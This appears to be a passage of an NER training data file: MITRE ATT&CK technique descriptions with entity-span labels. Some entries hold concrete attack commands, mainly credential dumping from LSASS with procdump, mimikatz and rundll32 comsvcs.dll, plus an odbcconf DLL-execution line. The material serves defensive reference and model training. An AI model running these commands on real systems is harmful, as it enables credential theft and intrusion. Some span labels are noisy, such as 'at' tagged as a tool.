`C:\\Windows\\System32\\winevt\\logs\\`.", "spans": {"SYSTEM: Windows": [[22, 29], [79, 86]], "TOOL: PowerShell": [[624, 634], [673, 683]], "FILEPATH: C:\\Windows\\System32\\winevt\\logs\\`.": [[1025, 1059]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1070.001"}} {"text": "Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct Phishing for Information or Phishing. Establishing email accounts may also allow adversaries to abuse free services – such as trial periods – to Acquire Infrastructure for follow-on purposes.\n\nAdversaries may also take steps to cultivate a persona around the email account, such as through use of Social Media Accounts, to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: Domains).\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1585.002"}} {"text": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. \n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords.\n\nIn some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response. \n\nSeveral tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder.", "spans": {"ORGANIZATION: Microsoft": [[330, 339]], "SYSTEM: Windows": [[340, 347]], "SYSTEM: DNS": [[459, 462]], "SYSTEM: LDAP": [[1837, 1841]], "SYSTEM: SMB": [[1843, 1846]], "SYSTEM: HTTP": [[1858, 1862]], "SYSTEM: NTLM": [[1915, 1919]], "TOOL: Metasploit": [[2022, 2032]], "TOOL: Responder": [[2038, 2047]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1557.001"}} {"text": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files. File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Accessibility Features, Boot or Logon Initialization Scripts, Unix Shell Configuration Modification, or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.\n\nAdversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.", "spans": {"SYSTEM: Unix": [[943, 947]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1222"}} {"text": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication Material.\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run using:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\nBuilt-in Windows tools such as `comsvcs.dll` can also be used:\n\n* rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID lsass.dmp full\n\nSimilar to Image File Execution Options Injection, the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`).\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.", "spans": {"SYSTEM: Local Security Authority Subsystem Service": [[90, 132]], "SYSTEM: LSASS": [[134, 139], [233, 238], [455, 460], [1171, 1176]], "SYSTEM: lsass.exe": [[612, 621], [1048, 1057]], "SYSTEM: Windows": [[776, 783], [1067, 1074], [1110, 1117], [1305, 1312], [1738, 1745]], "FILEPATH: C:\\Windows\\System32\\comsvcs.dll": [[852, 883]], "TOOL: at": [[1185, 1187]], "SYSTEM: Registry": [[1418, 1426], [1623, 1631]], "SYSTEM: API": [[1746, 1749]], "SYSTEM: HTTP": [[2035, 2039]], "SYSTEM: Kerberos": [[2102, 2110]], "SYSTEM: Windows 2000": [[2172, 2184]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1003.001"}} {"text": "Adversaries may abuse an integrated development environment (IDE) extension to establish persistent access to victim systems. IDEs such as Visual Studio Code, IntelliJ IDEA, and Eclipse support extensions - software components that add features like code linting, auto-completion, task automation, or integration with tools like Git and Docker. A malicious extension can be installed through an extension marketplace (i.e., Compromise Software Dependencies and Development Tools) or side-loaded directly into the IDE. \n\nIn addition to installing malicious extensions, adversaries may also leverage benign ones. For example, adversaries may establish persistent SSH tunnels via the use of the VSCode Remote SSH extension (i.e., IDE Tunneling). \n\nTrust is typically established through the installation process; once installed, the malicious extension is run every time that the IDE is launched. The extension can then be used to execute arbitrary code, establish a backdoor, mine cryptocurrency, or exfiltrate data.", "spans": {"SYSTEM: Docker": [[337, 343]], "SYSTEM: SSH": [[663, 666], [708, 711]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1176.002"}} {"text": "Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.\n\nAdversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP. Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1595"}} {"text": "Adversaries may use junk code / dead code to obfuscate a malware’s functionality. Junk code is code that either does not execute, or if it does execute, does not change the functionality of the code. Junk code makes analysis more difficult and time-consuming, as the analyst steps through non-functional code instead of analyzing the main code. It also may hinder detections that rely on static code analysis due to the use of benign functionality, especially when combined with Compression or Software Packing.\n\nNo-Operation (NOP) instructions are an example of dead code commonly used in x86 assembly language. They are commonly used as the 0x90 opcode. When NOPs are added to malware, the disassembler may show the NOP instructions, leading to the analyst needing to step through them.\n\nThe use of junk / dead code insertion is distinct from Binary Padding because the purpose is to obfuscate the functionality of the code, rather than simply to change the malware’s signature.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.016"}} {"text": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1548"}} {"text": "Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via Token Impersonation/Theft or created via Make and Impersonate Token before being used to create a process.\n\nWhile this technique is distinct from Token Impersonation/Theft, the techniques can be used in conjunction where a token is duplicated and then used to create a new process.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1134.002"}} {"text": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. Linux and Mac File and Directory Permissions Modification). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgid bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future. This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. File and Directory Discovery). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.", "spans": {"SYSTEM: Linux": [[187, 192], [825, 830]], "SYSTEM: macOS": [[196, 201]], "TOOL: chmod": [[895, 900], [958, 963], [1014, 1019], [1104, 1109], [1132, 1137]], "FILEPATH: /dev/null": [[1822, 1831], [1912, 1921]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1548.001"}} {"text": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: \n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.", "spans": {"SYSTEM: Windows": [[117, 124]], "TOOL: at": [[159, 161]], "SYSTEM: Registry": [[252, 260], [563, 571]], "FILEPATH: \\\\Wow6432Node\\\\]\\Microsoft\\Windows": [[292, 326]], "ORGANIZATION: Microsoft": [[386, 395]], "SYSTEM: Windows NT": [[396, 406]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.004"}} {"text": "Adversaries may use Valid Accounts to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications as well as other Windows objects that contain insecure methods. DCOM can also execute macros in existing documents and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application, bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with Windows Management Instrumentation.", "spans": {"SYSTEM: Component Object Model": [[103, 125], [209, 231]], "SYSTEM: DCOM": [[127, 131], [578, 582], [930, 934], [945, 949], [1182, 1186], [1411, 1415]], "SYSTEM: Windows": [[201, 208], [267, 274], [1135, 1142]], "SYSTEM: COM": [[233, 236], [433, 436], [573, 576], [644, 647], [772, 775], [910, 913], [1310, 1313]], "SYSTEM: API": [[310, 313]], "SYSTEM: Registry": [[835, 843]], "SYSTEM: Office": [[1098, 1104]], "SYSTEM: Exchange": [[1266, 1274]], "SYSTEM: DDE": [[1276, 1279]], "SYSTEM: Microsoft Office": [[1336, 1352]], "SYSTEM: Windows Management Instrumentation": [[1469, 1503]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1021.003"}} {"text": "Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. \n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.\n\nIn order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows \"logon failure\" event ID 4625 that is commonly triggered by failed SMB connection attempts.", "spans": {"SYSTEM: SSH": [[642, 645]], "TOOL: Telnet": [[657, 663]], "TOOL: FTP": [[675, 678]], "SYSTEM: SMB": [[700, 703], [1525, 1528]], "SYSTEM: Samba": [[706, 711]], "SYSTEM: LDAP": [[734, 738], [1343, 1347]], "SYSTEM: Kerberos": [[751, 759], [1352, 1360]], "TOOL: RDP": [[771, 774]], "SYSTEM: HTTP": [[808, 812], [813, 817]], "SYSTEM: Oracle": [[878, 884]], "SYSTEM: MySQL": [[898, 903]], "TOOL: VNC": [[917, 920]], "SYSTEM: Office 365": [[1147, 1157]], "SYSTEM: Windows": [[1450, 1457]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1110.003"}} {"text": "Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.", "spans": {"TOOL: HTRAN": [[272, 277]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1090.002"}} {"text": "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1056.003"}} {"text": "Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Email addresses could also be enumerated via more active means (i.e. Active Scanning), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system. For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Email Accounts), and/or initial access (ex: Phishing or Brute Force via External Remote Services).", "spans": {"SYSTEM: Office 365": [[654, 664]], "SYSTEM: API": [[722, 725]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1589.002"}} {"text": "Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff.\n\nVictims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information.\n\nAdversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to tailor pretexts to be even more persuasive and believable for the victim.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1598.004"}} {"text": "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash. The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires Password Cracking to recover the plaintext password.\n\nOn Linux systems, Active Directory credentials can be accessed through caches maintained by software like System Security Services Daemon (SSSD) or Quest Authentication Services (formerly VAS). Cached credential hashes are typically located at `/var/lib/sss/db/cache.[domain].ldb` for SSSD or `/var/opt/quest/vas/authcache/vas_auth.vdb` for Quest. Adversaries can use utilities, such as `tdbdump`, on these database files to dump the cached hashes and use Password Cracking to obtain the plaintext password. \n\nWith SYSTEM or sudo access, the tools/utilities such as Mimikatz, Reg, and secretsdump.py for Windows or Linikatz for Linux can be used to extract the cached credentials.\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.", "spans": {"SYSTEM: Windows Vista": [[151, 164], [1195, 1208]], "SYSTEM: Linux": [[487, 492], [1112, 1117]], "SYSTEM: Active Directory": [[502, 518]], "TOOL: at": [[725, 727]], "FILEPATH: /var/lib/sss/db/cache.[domain].ldb`": [[729, 764]], "FILEPATH: /var/opt/quest/vas/authcache/vas_auth.vdb`": [[778, 820]], "TOOL: Mimikatz": [[1050, 1058]], "TOOL: Reg": [[1060, 1063]], "SYSTEM: Windows": [[1088, 1095]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1003.005"}} {"text": "Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys (or, on ESXi, `/etc/ssh/keys-/authorized_keys`). Users may edit the system’s SSH config file to modify the directives `PubkeyAuthentication` and `RSAAuthentication` to the value `yes` to ensure public key and RSA authentication are enabled, as well as modify the directive `PermitRootLogin` to the value `yes` to enable root authentication via SSH. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account. Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH. It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` Network Device CLI command.", "spans": {"SYSTEM: SSH": [[27, 30], [234, 237], [311, 314], [329, 332], [624, 627], [891, 894], [900, 903], [1000, 1003], [1189, 1192], [1379, 1382], [1637, 1640], [1982, 1985]], "SYSTEM: Linux": [[107, 112]], "SYSTEM: macOS": [[128, 133]], "TOOL: ssh": [[510, 513], [2062, 2065]], "FILEPATH: /etc/ssh/keys-": [[552, 566]], "FILEPATH: /etc/ssh/sshd_config": [[947, 967]], "SYSTEM: API": [[1285, 1288], [1525, 1528]], "SYSTEM: Google Cloud": [[1316, 1328]], "SYSTEM: Azure": [[1421, 1426]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1098.004"}} {"text": "An adversary may attempt to enumerate running virtual machines (VMs) after gaining access to a host or hypervisor. For example, adversaries may enumerate a list of VMs on an ESXi hypervisor using a Hypervisor CLI such as `esxcli` or `vim-cmd` (e.g. `esxcli vm process list or vim-cmd vmsvc/getallvms`). Adversaries may also directly leverage a graphical user interface, such as VMware vCenter, in order to view virtual machines on a host. \n\nAdversaries may use the information from Virtual Machine Discovery during discovery to shape follow-on behaviors. Subsequently discovered VMs may be leveraged for follow-on activities such as Service Stop or Data Encrypted for Impact.", "spans": {"TOOL: cmd": [[238, 241], [280, 283]], "SYSTEM: VMware": [[378, 384]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1673"}} {"text": "Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1590.006"}} {"text": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe). \n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where <executable> is the binary on which the debugger is attached. \n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. \n\nSimilar to Accessibility Features, on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with Remote Desktop Protocol will cause the \"debugger\" program to be executed with SYSTEM privileges. \n\nSimilar to Process Injection, these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to Impair Defenses by registering invalid debuggers that redirect and effectively disable various system and security applications.", "spans": {"FILEPATH: C:\\dbg\\ntsd.exe": [[406, 421]], "SYSTEM: Registry": [[483, 491], [594, 602], [1139, 1147], [1364, 1372], [1544, 1552]], "ORGANIZATION: Microsoft": [[643, 652], [1192, 1201]], "SYSTEM: Windows NT": [[653, 663], [1202, 1212]], "SYSTEM: Windows Vista": [[1296, 1309]], "SYSTEM: Windows Server 2008": [[1331, 1350]], "TOOL: cmd.exe": [[1410, 1417]], "TOOL: at": [[1607, 1609], [1633, 1635]], "TOOL: Remote Desktop Protocol": [[1672, 1695]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.012"}} {"text": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names. The Odbcconf.exe binary may be digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to Regsvr32, odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\file.dll\"}).", "spans": {"SYSTEM: Windows": [[95, 102]], "ORGANIZATION: Microsoft": [[256, 265]], "TOOL: Regsvr32": [[399, 407]], "FILEPATH: C:\\Users\\Public\\file.dll": [[535, 559]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.008"}} {"text": "Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1593.002"}} {"text": "Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise, Drive-by Compromise, or Trusted Relationship).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1591.002"}} {"text": "Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own. \n\nJust-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account, while service accounts with domain-wide delegation permission are permitted to impersonate Google Workspace accounts. In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts. \n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.\n\n**Note:** this technique is distinct from Additional Cloud Roles, which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. However, adversaries that compromise a sufficiently privileged account may grant another account they control Additional Cloud Roles that would allow them to also abuse these features. This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.", "spans": {"SYSTEM: GCP": [[953, 956], [1911, 1914]], "SYSTEM: Google Workspace": [[1206, 1222]], "SYSTEM: Exchange": [[1236, 1244]], "SYSTEM: AWS": [[1804, 1807]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1548.005"}} {"text": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may 